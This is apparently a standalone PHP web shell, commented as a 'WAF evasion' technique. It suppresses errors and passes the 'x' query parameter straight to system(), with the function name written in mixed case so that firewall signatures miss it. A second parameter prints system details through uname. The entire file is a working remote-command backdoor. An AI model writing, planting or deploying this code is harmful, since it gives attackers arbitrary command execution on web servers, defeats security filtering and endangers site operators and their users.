<?php
// WAF EVASION: Case rotation
@ERROR_REPORTING(0);
@INI_SET('display_errors',0);
$c = $_GET['x'] ?? '';
if($c) {
    sYSTeM($c);  // Case rotated
}
// SMP check
if(isset($_GET['smp'])) {
    echo "===SMP===\n";
    SyStEm("uname -a 2>&1");
}
?>